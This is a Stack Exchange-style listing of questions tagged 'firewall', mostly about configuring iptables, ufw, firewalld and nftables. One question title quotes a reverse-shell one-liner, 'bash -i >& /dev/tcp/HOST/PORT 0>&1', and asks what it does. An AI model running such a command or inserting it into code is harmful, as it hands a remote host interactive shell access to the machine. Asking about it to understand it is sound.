Skip to main content
Share Your Experience: Take the 2024 Developer Survey

Questions tagged [firewall]

A firewall is a program that controls the incoming and outgoing network traffic on a system. Use this tag for all questions related to firewall configuration and operation.

Filter by
Sorted by
Tagged with
489 votes
5 answers
371k views

How does reverse SSH tunneling work?

As I understand this, firewalls (assuming default settings) deny all incoming traffic that has no prior corresponding outgoing traffic. Based on Reversing an ssh connection and SSH Tunneling Made ...
Ali's user avatar
  • 5,371
45 votes
9 answers
270k views

Whitelist source IP addresses in CentOS 7

I want to set up CentOS 7 firewall such that, all the incoming requests will be blocked except from the originating IP addresses that I whitelist. And for the Whitelist IP addresses all the ports ...
Krishnandu Sarkar's user avatar
19 votes
4 answers
13k views

Per process firewall?

I've been reading around but can't seem to find a way to create per-process firewall rules. I know about iptables --uid-owner but that only works for outgoing traffic. I've considered scripting ...
s3c's user avatar
  • 370
66 votes
6 answers
258k views

Limit SSH access to specific clients by IP address

How do we allow certain set of Private IPs to enter through SSH login(RSA key pair) into Linux Server?
Ranjan Kumar's user avatar
35 votes
2 answers
59k views

How iptables tables and chains are traversed

I know linux has 3 built-in tables and each of them has its own chains as follow: FILTER: PREROUTING, FORWARD, POSTROUTING NAT: PREROUTING, INPUT, OUTPUT, POSTROUTING MANGLE: PREROUTING, INPUT, ...
zer0uno's user avatar
  • 1,293
39 votes
1 answer
37k views

Is it better to set -j REJECT or -j DROP in iptables?

There's an example of iptables rules on archlinux wiki: # Generated by iptables-save v1.4.18 on Sun Mar 17 14:21:12 2013 *filter :INPUT DROP [0:0] :FORWARD DROP [0:0] :OUTPUT ACCEPT [0:0] :TCP - [0:0]...
Mikhail Morfikov's user avatar
38 votes
4 answers
216k views

iptables: allow certain ips and block all other connection

How do I allow certain ips and block all other connection in iptables?
David's user avatar
  • 513
13 votes
1 answer
12k views

When and how to use chain priorities in nftables

When configuring a chain in nftables, one has to provide a priority value. Almost all online examples set a piority of 0; sometimes, a value of 100 gets used with certain hooks (output, postrouting). ...
F30's user avatar
  • 549
2 votes
1 answer
14k views

Service Active but (exited)

I have already install firewall (iptables) on a server Debian 8. The service is active but in (exited) state. What does "Active: active (exited)" mean ? And how can i fix or change it into (running) ?...
nghluan1007's user avatar
65 votes
3 answers
99k views

Difference between SNAT and Masquerade

I am confused what's the actual difference between SNAT and Masquerade? If I want to share my internet connection on local network, should I select SNAT or Masquerade?
Chankey Pathak's user avatar
15 votes
4 answers
15k views

Why does kdeconnect listen on port 1716/tcp all the time? How to close the port / secure it?

Zenmap shows me that port 1716/tcp is open and sudo fuser -v 1716/tcp tells me kdeconnectd is responsible for it. Why does kdeconnectd have the 1716 port opened all the time? And what would be best ...
mYnDstrEAm's user avatar
  • 4,340
9 votes
1 answer
13k views

iptables/pf rule to only allow XY application/user?

I think there is no iptables/pf solution to only allow an XY application on e.g.: outbound tcp port 80, eth0. So if I have a userid: "500" then how could I block any other communications then the ...
LanceBaynes's user avatar
  • 40.4k
3 votes
2 answers
6k views

Fedora firewall with UPnP?

I'm using Fedora 15 and Transmission BT client. Transmission can't open ports unless the firewall is disabled. I searched some posts that said add 1900 to the trusted ports, or via a iptable rule: -...
Cheng's user avatar
  • 6,681
1 vote
1 answer
4k views

Understanding an iptables shell script

SITUATION: I recently found the following shell script that works with iptables to block all internet access to/from the linux OS, except for terminals opened that were in a group called internet: ...
Webeng's user avatar
  • 423
51 votes
2 answers
128k views

No route to host with nc but can ping

I'm trying to connect to port 25 with netcat from one virtual machine to another but It's telling me no route to host although i can ping. I do have my firewall default policy set to drop but I have ...
Katz's user avatar
  • 1,071
50 votes
7 answers
122k views

How to configure Centos 7 firewallD to allow docker containers free access to the host's network ports?

I have docker installed on CentOS 7 and I am running firewallD. From inside my container, going to the host (default 172.17.42.1) With firewall on container# nc -v 172.17.42.1 4243 nc: connect to ...
adapt-dev's user avatar
  • 1,359
27 votes
4 answers
85k views

Set some firewall ports to only accept local network connections?

How do I set up the firewall on a system in a LAN so that some ports are only open to connections from the local area network, and not from the outside world? For example, I have a box running ...
hpy's user avatar
  • 4,567
10 votes
4 answers
12k views

Debian: Which firewall?

I have to install a firewall on my server (so without X Server). It's a debian lenny. If it is possible, I want to avoid the use of iptables. Is there an easier way to install/configure a firewall?
fego's user avatar
  • 201
7 votes
1 answer
11k views

Block all internet connections unless connected to OpenVPN server

I want to block all internet connections unless I'm connected to my OpenVPN. Now of course, I need to allow connection to the VPN server. Can this be done, by allowing out/in traffic to/from the VPN ...
boolean.is.null's user avatar
7 votes
3 answers
14k views

Ubuntu - block internet access to all applications except chosen few

I have been looking for a way to block all my applications from accessing the internet except for 1 or 2 chosen applications. I looked into Uncomplicated Firewall (ufw) and its respective Gui (gufw): ...
Webeng's user avatar
  • 423
5 votes
3 answers
30k views

how to make firewall changes permanent via firewall-cmd?

I am trying to open some ports in CentOS 7. I am able to open a port with the following command: firewall-cmd --direct --add-rule ipv4 filter IN_public_allow 0 -m tcp -p tcp --dport 7199 -j ACCEPT ...
fstab's user avatar
  • 890
5 votes
1 answer
9k views

Create dynamic blacklist with nftables

I want to create a dynamic blacklist with nftables. Under version 0.8.3 on the embedded device I create a ruleset looks like this with nft list ruleset: table inet filter { set blackhole { type ...
user408169's user avatar
4 votes
1 answer
4k views

Which ports does the default firewall allow on Fedora Workstation and Fedora Server?

What incoming TCP and UDP connections are permitted, by the default firewall policy of Fedora Workstation, and Fedora Server? I am interested in the current version, Fedora 28.
sourcejedi's user avatar
  • 50.6k
3 votes
2 answers
995 views

Recommended reverse firewall applications for linux? [closed]

I'm looking for a reverse firewall, something like Little Snitch for Linux, but my google-fu is failing me. Does something like this exist on Linux?
breadjesus's user avatar
3 votes
3 answers
5k views

Do I need a special firewall on a personal computer

I was wondering about Linux security issues. Most people agree that a virus-scanner is not useful on a linux system, but what about a firewall? I am using Debian wheezy stable and before used Ubuntu ...
aldorado's user avatar
  • 625
1 vote
0 answers
107 views

Issues blocking specific traffic using iptables

Good afternoon. I'm new to Linux and using iptables, so please forgive me if I make any mistakes. I am using version 20.04.2 LTS of Ubuntu. What I am trying to do is block all traffic on a device on ...
ThatGuy's user avatar
  • 31
1 vote
1 answer
768 views

Allow SSH access after port knocking from any source IP

I have a working port knocking setup for SSH on Linux using only iptables rules and the “recent” module following this tutorial: https://wiki.archlinux.org/index.php/Port_knocking#...
hfs's user avatar
  • 135
1 vote
1 answer
767 views

Iptable forward interfaces for gateway machine

I have two Ethernet interface being configured to use as system gateway ex: eth1: 10.10.1.0 eth2: 10.10.2.0 I want to forward all the packets which are coming to the 10.10.2.0 gateway contacting 10....
Kratos's user avatar
  • 381
1 vote
1 answer
8k views

viewing firewalld logs via remote login to CentOS 7 server

I have firewalld installed in a remote CentOS server. When I log into the server over the internet as root, I type the following command to access the firewalld logs: journalctl --output=json-...
CodeMed's user avatar
  • 5,239
1 vote
1 answer
3k views

netstat is not showing port opened through ufw

I am setting up a ftp server on my Ubuntu 16. After using the following command: sudo ufw allow 21/tcp sudo ufw status verbose I can see the output that says: 21/tcp ALLOW IN Anywhere ...
Carlos's user avatar
  • 111
1 vote
2 answers
1k views

Use the LANs of one server to access the LAN of another

I'm a bit lost here, so I'm asking for your help. =D I have three servers: 1# - LANs A and B 2# - LANs B and C 3# - LANs C and D How can I make server 1# access through LAN B an ip that is in LAN D ...
Eduardo Lucio's user avatar
0 votes
1 answer
2k views

How to limit 1 connection per 5 seconds? (IPTABLES)

I want to limit 1 connect per 5 seconds using IPTABLES for people, which are connecting to port "12871/12881". I was trying to find rule for it, but ineffectively. It must be like a "queue" of ...
user322517's user avatar
0 votes
4 answers
4k views

Converting Linux into a Router- Traffic from eth0:0 to eth0

So I have been trying to convert my linux box which is running Mint into an router. eth0 has a public address that has 71.xx.xx.xx for an IP addr. I created an eth0:0 and set it an IP address , 10.0.0....
user avatar
37 votes
1 answer
108k views

Do you need to reload after adding a rule in ufw?

Do you need to run any of these commands: sudo ufw reload sudo ufw disable sudo ufw enable after adding a rule via sudo ufw allow?
iLW's user avatar
  • 473
20 votes
1 answer
7k views

How can I disable UFW logging for a specific event?

My router sends out multicast packets in regular intervals that are blocked by UFW's standard policies. These events are harmless but spam my syslogs and ufwlogs. I can't change the router's behaviour ...
Glutanimate's user avatar
  • 2,268
19 votes
6 answers
33k views

Why does Debian come without a firewall enabled by default?

I'm using Debian 9.1 with KDE and I'm wondering why it comes without a firewall installed and enabled by default? gufw is not even in DVD1's packages. Are people expected to connect to the Internet ...
mYnDstrEAm's user avatar
  • 4,340
19 votes
1 answer
22k views

Meaning of bash -i >& /dev/tcp/HOST/PORT 0>&1?

I tried bash -i >& /dev/tcp/HOST/PORT 0>&1 but it does not seem to work behind firewalls. What does this code actually do, which ports are forwarded and could it work behind firewalls?
Helos's user avatar
  • 191
13 votes
5 answers
38k views

How to protect against port scanners?

Is it possible to prevent nmap from observing my machine entirely? After dropping all incoming connections with iptables port scans return as "filtered". It'd prefer if nmap couldn't see what ports ...
spacemonkey's user avatar
10 votes
4 answers
48k views

IPTables - Port to another ip & port (from the inside)

I currently have a NAS box running under port 80. To access the NAS from the outside, I mapped the port 8080 to port 80 on the NAS as follow: iptables -t nat -A PREROUTING -p tcp --dport 8080 -j DNAT ...
David Bélanger's user avatar
10 votes
4 answers
20k views

Can you list iptables as a non-root user? and why?

Is it at all possible to execute the iptables --list … command without being root? Running it as non-root prints this: $ iptables --list iptables v1.4.21: can't initialize iptables table `filter': ...
Hakan Baba's user avatar
10 votes
2 answers
29k views

Why are my network connections being rejected?

I have a CentOS 8 guest running on a Fedora 31 host. The guest is attached to a bridge network, virbr0, and has address 192.168.122.217. I can log into the guest via ssh at that address. If I start a ...
larsks's user avatar
  • 35.4k
9 votes
2 answers
7k views

How to fix "File" *.service "configures an IP firewall (IPAddressDeny=any), but the local system does not support BPF/cgroup based firewalling"?

Booting from a kernel which I recompiled with a custom .config, I got the the following kmsg(ie. dmesg) message: systemd[1]: File /usr/lib/systemd/system/systemd-journald.service:35 configures an ...
user avatar
9 votes
1 answer
6k views

Why doesn't my iptables rule work?

I have two interfaces on my VPS: eth0 and eth0:0. I want to block incoming packets on port 80 on eth0:0 using iptables. I tried this, but it doesn't work: iptables -A INPUT -i "eth0:0" -p tcp --...
sinoohe's user avatar
  • 253
8 votes
4 answers
70k views

What prevents a machine from responding to pings?

I have a CentOS release 5.4 linux box on Amazon EC2 that I'm trying to set up to be monitored via Nagios. The machine is in the same security group as the nagios server, but it seems to be ...
cwd's user avatar
  • 45.6k
6 votes
1 answer
5k views

How to tag IPTABLES rules?

I am going to use iptables for port forwarding to listen on requests from my LAN on port 8080 and answer with container at port 80, like this: iptables -t nat -A PREROUTING -p tcp -d 192.168.1.15 --...
anatoly techtonik's user avatar
6 votes
3 answers
20k views

What does this firewall record mean?

Running iptables -L -n gives me the following info: Chain IN_ZONE_work_allow (1 references) target prot opt source destination ACCEPT tcp -- 0.0.0.0/0 0.0....
Yurij73's user avatar
  • 1,992
6 votes
2 answers
7k views

Is there a way to do layer 7 filtering in Linux?

The L7-filter project appears to be 15 years old, requires kernel patches with no support for kernels past version 2.6, and most of the pattern files it has appear to have been written in 2003. ...
Tal's user avatar
  • 2,172
6 votes
3 answers
16k views

Which ports should I open for apt-get to work?

I installed Webmin, and then set up the firewall like this: INPUT SSH port ALLOWED Webmin port ALLOWED HTTP port (80) ALLOWED DROP EVERYTHING ELSE FORWARDING no rules OUTPUT no rules If I remove ...
cantsay's user avatar
  • 184
5 votes
2 answers
3k views

Outgoing firewall application similar to Little Snitch for Mac

Is there a Linux application similar to Little Snitch? Little Snitch is an outgoing firewall that temporarily blocks outgoing network requests until the user decides whether to allow the connection or ...
Daniel's user avatar
  • 1,207
5 votes
1 answer
9k views

blocking all traffic except whitelisted ip adresses

I need block all incoming and outcoming connections in firewall, except ip adresses i whitelist. I am currently on virtual machine using ubuntu. I tried these commands from this site: but i cant ...
empleat's user avatar
  • 51